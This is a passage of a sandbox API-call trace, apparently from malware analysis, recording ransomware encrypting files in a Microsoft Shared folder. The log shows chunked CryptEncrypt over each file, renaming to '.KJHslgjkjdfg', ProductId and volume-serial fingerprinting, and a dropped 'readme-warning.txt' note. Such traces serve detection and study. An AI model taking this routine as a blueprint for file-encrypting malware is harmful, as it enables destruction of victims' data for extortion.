lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0179.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0179.413] GetFileSizeEx (in: hFile=0x130, lpFileSize=0x29df280 | out: lpFileSize=0x29df280*=2120459) returned 1 [0179.413] GetProcessHeap () returned 0x990000 [0179.413] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.413] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.414] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df26c*=0x5, lpOverlapped=0x0) returned 1 [0179.416] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df270 | out: phKey=0x29df270*=0x9b6628) returned 1 [0179.416] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.416] GetProcessHeap () returned 0x990000 [0179.416] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0179.416] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df250*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df250*=0x30) returned 1 [0179.416] CryptDestroyKey (hKey=0x9b6628) returned 1 [0179.416] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df26c*=0x30, lpOverlapped=0x0) returned 1 [0179.416] WriteFile (in: hFile=0x130, lpBuffer=0x29df274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df274*, lpNumberOfBytesWritten=0x29df26c*=0x4, lpOverlapped=0x0) returned 1 [0179.417] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df26c*=0x10, lpOverlapped=0x0) returned 1 [0179.417] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df26c*=0x80, lpOverlapped=0x0) returned 1 [0179.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0179.417] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df26c*=0x8, lpOverlapped=0x0) returned 1 [0179.417] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df270 | out: phKey=0x29df270*=0x9b6628) returned 1 [0179.417] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0179.417] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0179.425] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0179.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.431] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0179.432] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x205bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.432] WriteFile (in: hFile=0x130, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0179.432] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xac903, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0179.432] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0179.439] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0179.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xac903, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.442] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0179.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x205bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.443] WriteFile (in: hFile=0x130, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0179.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c5b10, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0179.444] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0179.449] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0179.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c5b10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.453] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0179.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x205bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.454] WriteFile (in: hFile=0x130, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0179.454] CryptDestroyKey (hKey=0x9b6628) returned 1 [0179.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x205bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.454] SetEndOfFile (hFile=0x130) returned 1 [0179.457] GetProcessHeap () returned 0x990000 [0179.457] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0179.457] GetProcessHeap () returned 0x990000 [0179.457] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.457] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.kjhslgjkjdfg")) returned 1 [0179.602] CloseHandle (hObject=0x130) returned 1 [0179.602] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0179.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0179.603] GetProcessHeap () returned 0x990000 [0179.603] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.603] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.603] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0179.603] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0179.603] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.603] GetProcessHeap () returned 0x990000 [0179.603] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.603] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0179.603] CryptDestroyKey (hKey=0x9b6628) returned 1 [0179.603] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0179.606] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0179.606] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0179.606] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0179.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0179.607] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0179.607] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0179.607] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.607] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x600, lpOverlapped=0x0) returned 1 [0179.607] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x600, dwBufLen=0x600 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x600) returned 1 [0179.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.607] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x600, lpOverlapped=0x0) returned 1 [0179.607] CryptDestroyKey (hKey=0x9b6628) returned 1 [0179.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.607] SetEndOfFile (hFile=0x130) returned 1 [0179.610] GetProcessHeap () returned 0x990000 [0179.610] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.610] GetProcessHeap () returned 0x990000 [0179.610] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.kjhslgjkjdfg")) returned 1 [0179.612] CloseHandle (hObject=0x130) returned 1 [0179.612] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0179.612] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0179.613] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0179.613] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0179.613] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0179.613] GetProcessHeap () returned 0x990000 [0179.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.613] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0179.613] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df0a8 | out: pbData=0x9af7b0, pdwDataLen=0x29df0a8) returned 1 [0179.613] CryptDestroyKey (hKey=0x9b6628) returned 1 [0179.613] GetProcessHeap () returned 0x990000 [0179.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0179.613] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0179.613] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df0a8 | out: pbData=0x9af7f8, pdwDataLen=0x29df0a8) returned 1 [0179.613] CryptDestroyKey (hKey=0x9b6628) returned 1 [0179.613] GetProcessHeap () returned 0x990000 [0179.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b1eb0 [0179.613] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0179.613] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1eb0, pdwDataLen=0x29df0a8 | out: pbData=0x9b1eb0, pdwDataLen=0x29df0a8) returned 1 [0179.613] CryptDestroyKey (hKey=0x9b6628) returned 1 [0179.614] GetProcessHeap () returned 0x990000 [0179.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0179.614] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0179.614] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dec88 | out: pbData=0x9af840, pdwDataLen=0x29dec88) returned 1 [0179.614] CryptDestroyKey (hKey=0x9b6628) returned 1 [0179.614] GetProcessHeap () returned 0x990000 [0179.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0179.614] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0179.614] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dec88 | out: pbData=0x9b18c8, pdwDataLen=0x29dec88) returned 1 [0179.614] CryptDestroyKey (hKey=0x9b6628) returned 1 [0179.614] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29dec84 | out: phkResult=0x29dec84*=0x130) returned 0x0 [0179.614] RegQueryValueExA (in: hKey=0x130, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dec90, lpcbData=0x29dec8c*=0x400 | out: lpType=0x0, lpData=0x29dec90*=0x30, lpcbData=0x29dec8c*=0x18) returned 0x0 [0179.614] RegCloseKey (hKey=0x130) returned 0x0 [0179.614] GetProcessHeap () returned 0x990000 [0179.614] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0179.614] GetProcessHeap () returned 0x990000 [0179.614] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0179.614] GetProcessHeap () returned 0x990000 [0179.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0179.614] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0179.614] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea5c | out: pbData=0x9b18c8, pdwDataLen=0x29dea5c) returned 1 [0179.614] CryptDestroyKey (hKey=0x9b6628) returned 1 [0179.614] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0179.615] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0179.615] GetProcessHeap () returned 0x990000 [0179.615] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0179.615] wsprintfA (in: param_1=0x29deca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0179.615] wsprintfA (in: param_1=0x29df0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0179.615] GetProcessHeap () returned 0x990000 [0179.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9fd9f0 [0179.615] wsprintfW (in: param_1=0x29de084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\readme-warning.txt") returned 74 [0179.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0179.616] WriteFile (in: hFile=0x130, lpBuffer=0x9fd9f0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de080, lpOverlapped=0x0 | out: lpBuffer=0x9fd9f0*, lpNumberOfBytesWritten=0x29de080*=0x3b3, lpOverlapped=0x0) returned 1 [0179.617] CloseHandle (hObject=0x130) returned 1 [0179.617] GetProcessHeap () returned 0x990000 [0179.617] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0179.617] GetProcessHeap () returned 0x990000 [0179.617] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0179.617] GetProcessHeap () returned 0x990000 [0179.617] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0179.617] GetProcessHeap () returned 0x990000 [0179.618] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.618] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0179.618] GetProcessHeap () returned 0x990000 [0179.618] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0179.618] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0179.618] GetProcessHeap () returned 0x990000 [0179.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x7e) returned 0x9b0940 [0179.618] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, 